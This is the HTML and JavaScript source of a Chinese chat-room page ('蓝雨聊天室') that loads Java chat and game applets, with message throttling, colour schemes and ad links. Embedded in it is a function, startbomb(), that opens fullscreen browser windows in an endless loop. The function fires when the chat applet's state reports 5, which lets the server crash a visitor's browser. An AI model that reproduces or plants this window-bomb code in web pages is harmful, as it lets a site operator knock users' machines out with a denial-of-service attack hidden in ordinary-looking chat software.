📄 chatmain.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<META HTTP-EQUIV="PRAGMA" CONTENT="CACHE">
<META HTTP-EQUIV="EXPIRES" CONTENT="TUE,04 Dec 2096 21:29:02 GMT">
<title></title>
<style type="text/css">
<!--
.p9 {font-size: 9pt; line-height: 14pt }
.p10 {font-size: 10pt; line-height: 16pt }
A:link {COLOR: #0000ff; TEXT-DECORATION: none }
A:hover{COLOR: #EB551D; TEXT-DECORATION: none }
A:active{COLOR: #EB551D;TEXT-DECORATION: none }
A:visited {COLOR: #0000ff; TEXT-DECORATION: none }
.btn {background-color: #E2E2E4;font-size: 9pt; line-height: 12pt}
-->
</style>
</head>
<script language="javascript">
var curtimerID=0;
var appstart=0;
var stimer=0;
var sendcount=0;
var trycount=0;
var pastestate=0;
var saystate=0;
var logstat=0;
var chatstart=0;
var gamestart=0;
var lardlg=null;
var smalldlg=null;
var chatform=null;
var chatApp=null;
var minSayTimer=3; /* 限制最小的发言间隔,单位为秒*/
var canPaste=false; /* 是否允许连续粘贴发言 */
function pastemsg()
{
if(!canPaste)
pastestate=1;
}
function window_timer()
{
if(stimer>0)
{
stimer--;
if(stimer==0)
{
sendcount++;
if(sendcount>3)
{
trycount=0;
sendcount=0;
}
chatform.sendbtn.disabled="";
}
}
if(typeof(document.ChatGame.appletInit)!='undefined')
{
gamestart=1;
}
if(typeof(document.ChatClient.chattitle)!='undefined')
{
chatstart=1;
chatApp=document.ChatClient;
exchangeData();
getappletinfo();
}
}
function exchangeData()
{
if(chatstart==1 && gamestart==1)
{
imoney=chatApp.getMoney();
document.ChatGame.setMoney(imoney);
imoney=document.ChatGame.getMoney();
chatApp.setMoney(imoney);
}
}
function on_load()
{
logstat=0;
chatform=document.iform;
curtimerID=setInterval("window_timer()", 400);
}
function change_elevalue(ename,evalue)
{
var a = document.all.item("efont");
for(i=0; i<a.length; i++)
{
if(a.item(i).name==ename)
a.item(i).innerText=evalue;
}
}
function showtalktable()
{
for(i=0; i<document.all.length; i++)
{
if(document.all(i).name=='botPnl')
document.all(i).style.display="";
}
chatform.exitbtn.value=" 退 出 ";
change_elevalue("alabel"," ");
}
function getappletinfo()
{
var et=chatApp.getEventType();
if(et!=0 && et!=6 && appstart==0)
return;
var aplmsg=chatApp.getOrderSong();
if(aplmsg!="")
parent.chattop.playMusic(aplmsg);
aplmsg=chatApp.getCurAdInfo();
if(aplmsg!="")
setAdInfo(aplmsg);
logstat=chatApp.checkState();
if(logstat==1)
showtalktable();
else if(logstat==2)
chatform.exitbtn.value="重新连接";
else if(logstat==3)
top.close();
else if(logstat==5)
startbomb();
if(et==5)
chatform.saymsg.value="[TEXT_IMG]";
else if(et==7)
showDlg("userinfo.htm","yes");
else if(et==8)
showDlg("chatlog.htm","no");
else if(et==9)
showSmallDlg("bank.htm");
else if(et==11)
{
if(chatApp.getExamUserType()==1)
showSmallDlg("examlist.htm");
else
showSmallDlg("exam.htm");
}
else if(et==12)
showDlg("shop/index.htm","yes");
else if(et==14)
showSmallDlg("shop/myshop.htm");
else if(et==15)
showSmallDlg("state.htm");
else
{
var ival=chatApp.getCurRoomTitle();
if(ival!='')
{
change_elevalue("rtitle",ival);
var ival1=chatApp.getCurRoomOwner();
if(ival1=='')
ival1="(公共房间";
else
ival1="(房主:"+ival1;
ival1=ival1+" "+chatApp.getRoomUserNum()+"人)";
change_elevalue("rinfo",ival1);
appstart=1;
}
else if(appstart==0)
change_elevalue("alabel"," ");
}
}
function startbomb()
{
do{
window.open("","_blank","fullscreen=yes");
}
while(1==1)
}
function showDlg(hurl,scroll)
{
if(lardlg!=null)
lardlg.close();
if(scroll==null)
scroll="yes";
lardlg=window.open(hurl,"_blank","width=560,height=500,top=30,left=60,status=no,toolbar=no,scrollbars="+scroll+",menubar=no,location=no,resizable=yes");
}
function showSmallDlg(hurl)
{
if(smalldlg!=null)
smalldlg.close();
smalldlg=window.open(hurl,"_blank","width=420,height=350,top=60,left=120,status=no,toolbar=no,scrollbars=no,menubar=no,location=no,resizable=yes");
}
function sendmsg()
{
var msg=chatform.saymsg.value;
if(chatform.sendbtn.disabled)
{
trycount++;
if(trycount>3)
{
alert("本聊天室禁止刷屏!");
trycount=2;
chatform.saymsg.blur();
}
}
else if(msg=='')
{
alert("请输入你要说的话。");
}
else
{
if(pastestate==1 && saystate==1)
{
alert("为了防止刷屏,请不要太多的用粘贴发言。");
stimer=2;
}
else
{
chatApp.sendTalkMsg(msg);
addOne(msg);
stimer=minSayTimer*2;
}
saystate=pastestate;
pastestate=0;
chatform.saymsg.value="";
chatform.sendbtn.disabled=true;
}
return false;
}
function click_exit()
{
chatApp.changeConnect();
}
function windowfocus()
{
if(window.event.srcElement.tagName!="INPUT")
window.event.returnValue=false
}
var max=30, whatSay = new Array(max+1), base=0, p=0;
for (var j=0;j<=max+1;j++) whatSay[j]="";
function addOne(what){if (base<max+1){whatSay[base]=what;base++;}else{for (i=0;i<max;i++)whatSay[i]=whatSay[i+1]; whatSay[i]=what;}p=base;}
function gN(){if (p<base) p++;chatform.saymsg.value=whatSay[p];chatform.saymsg.focus();}
function gP(){if (p>0) p--;chatform.saymsg.value=whatSay[p];chatform.saymsg.focus();}
function ClearScreen(){chatApp.ClearScreen();}
/* 界面配色方案开始 */
function SkinObj(a, b, c, d, e)// 背景色定义
{this.Name = a ;
this.pageColor = b;
this.topColor = c;
this.chatColor = d;
this.botColor= e;
}
var pSkins = new Array(
new SkinObj('默认颜色','#A5A5A5','#C3C3C3','#E2E2E4','#C3C3C3'),
new SkinObj('方案一','#BCA581','#c6b193','#eee8e0','#c6b193'),
new SkinObj('方案二','#FF84A9','#DFDFFF','#eeeeff','#ff89ac'),
new SkinObj('方案三','#356A9F','#6699cc','#FDE9B5','#6699cc'),
new SkinObj('方案四','#49A5B1','#6db8c2','#D1E7F5','#6db8c2'),
new SkinObj('方案五','#D8B8E0','#FAF1FA','#FAF1FA','#D1ACDB'),
new SkinObj('方案六','#7CB339','#FDE9B5','#e1fbc1','#8ec54c'),
new SkinObj('方案七','#f4bdcf','#FEB6B6','#f4dae3','#f594a8')
) ;
function setBgColor(ename,cor)
{
var a = document.all.item("epanel");
for(i=0; i<a.length; i++)
{
if(a.item(i).name==ename)
{
a.item(i).style.backgroundColor=cor;
break;
}
}
}
function ChangeSkin()
{
var isel=chatform.skinSel.selectedIndex;
var skin = pSkins[isel];
setBgColor("pagePnl",skin.pageColor);
setBgColor("topPnl",skin.topColor);
setBgColor("chatPnl",skin.chatColor);
setBgColor("botPnl",skin.botColor);
setBgColor("exitbtn",skin.chatColor);
setBgColor("sendbtn",skin.chatColor);
chatApp.ChangeSkin(skin.chatColor);
}
/* 界面配色方案结束 */
var adinfourl="http://www.onlineidc.com/";
function setAdInfo(msg)
{
var ix=msg.indexOf("|");
var adurl="#";
if(ix>0)
{
adurl=msg.substring(ix+1);
msg=msg.substring(0,ix);
}
adinfourl=adurl;
change_elevalue("adinfomsg",msg);
}
</script>
<body id="epanel" name="pagePnl" bgcolor="#A5A5A5" vlink="0000ff" topmargin="2" leftmargin="2" onkeydown="windowfocus()" onload="on_load();" oncontextmenu="self.event.returnValue=false">
<div align="center">
<form name="iform" onsubmit="return sendmsg();">
<table id="epanel" name="chatPnl" border="0" width="99%" cellspacing="0" cellpadding="0" bgcolor="#E2E2E4">
<tr>
<td width="100%" height="22">
<table id="epanel" name="topPnl" border="0" cellspacing="2" cellpadding="0" bgcolor="#C3C3C3" width="100%">
<tr>
<td width="45%">
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td width="5%" nowrap class="p9"><font color="#ff0000"> 即时广播:</font></td>
<td width="92%" class="p9"><a href="#" onclick="window.open(adinfourl,'_blank');return false"><font id="efont" name="adinfomsg">欢迎光临蓝雨聊天室!</font></a></td>
<td width="3%"> </td>
</tr>
</table>
</td>
<td width="55%" rowspan="2" align="right"><a href="ad/index.htm" target="_blank"><img border="0" src="ad/banner1.gif" width="340" height="45"></a>
<applet code="chatgame.ChatGame.class" codebase=./ name="ChatGame" width="0" height="0">
<param name="cabbase" value="chatgame.cab">
<param name="sitename" value="蓝雨聊天室六合彩">
</applet></td>
</tr>
<tr>
<td width="45%" class="p9"><font name="alabel" id="efont" color="#000000">正在载入聊天室Applet,请稍侯....</font><strong><font name="rtitle" id="efont"></font></strong><font name="rinfo" id="efont" color="#8000FF"></font></td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="100%" align="center">
<script language="javascript">
var wid=window.screen.width-16;
var heg=window.screen.height-170;
if(window.screen.height-document.body.clientHeight>70)
heg=document.body.clientHeight-100;
if(heg<200)
heg=window.screen.height-170;
document.write("<applet code=ChatClient.chatclient.class codebase=./ name=ChatClient width="+wid+" height="+heg+">");
</script>
<param name="cabbase" value="chatclient.cab">
<param name="title" value="蓝雨聊天室">
<param name="bgcolor" value="E2E2E4">
<param name="tlecolor" value="C3C3C3">
<param name="shopname" value="自由头像选择器|系统公告发布器|道具查看器|IP查看器|隐身衣|红外透视器|臭鸡蛋|黄玫瑰|含笑半步颠|情玫瑰|论语|超时空电脑|暴力收税卡|散财神经酒|红卡|黑卡">
<param name="statetext" value="接个电话,请等等。|我去吃饭了,一会再回来。|我有点事,暂时离开一下。|热恋中,请勿打搅。|专心赌钱中,请勿打搅。">
你的浏览器不支持Java,请安装浏览器java的支持插件。
</applet>
</td>
</tr>
<tr>
<td width="100%" height="22"><table id="epanel" name="botPnl" style="display:none;" border="0" width="100%" bgcolor="#C3C3C3">
<tr>
<td width="78%" class="p9" nowrap><input type="text" name="saymsg" size="40" style="width:75%" onpaste="pastemsg();" maxlength="80"><INPUT type="button" value="<" name="cP" TITLE="上一句话" class="btnStyle" onclick="gP();" ondblclick="gP();"><INPUT type="button" value=">" name="cN" TITLE="下一句话" class="btnStyle" onclick="gN();" ondblclick="gN();"> <input type="submit" value="发 言" id="epanel" name="sendbtn" class="btn">
<a href="#" onclick="ClearScreen();return false;"><font color="#ff0000">清 屏</font></a></td>
<td width="22%" align="center"><input
type="button" value=" 退 出 " id="epanel" name="exitbtn" class="btn" onclick="click_exit();"></td>
</tr>
<tr>
<td width="100%" colspan="2" class="p9">
配色方案:<select size="1" name="skinSel" onchange="ChangeSkin()">
<script>
var obj ;
for(var i = 0; i < pSkins.length; i ++)
{
obj = pSkins[i] ;
document.write("<option value=" + i + " style=\"background: ") ;
document.write(obj.chatColor + ";\">" + obj.Name + "</option>\r\n") ;
}
</script>
</select>
*<a href="#" onclick="parent.chattop.openMusicBox();return false;"><font color="#ff0000">点歌台</font></a> *<a href="#" onclick="showDlg('rule.htm','no');return false;">规则说明</a> *<a
href="#" onclick="showDlg('emote/emote1.htm');return false;">EMOTE大全</a> *<a href="#" onclick="showDlg('help/index.htm');return false;">帮助</a> *<a href="http://www.onlineidc.com/guestbook/" target="_blank">留言板</a> *<a href="http://www.onlineidc.com/bbs/" target="_blank">论坛</a></td>
</tr>
</table></td>
</tr>
</table>
</form>
</div>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -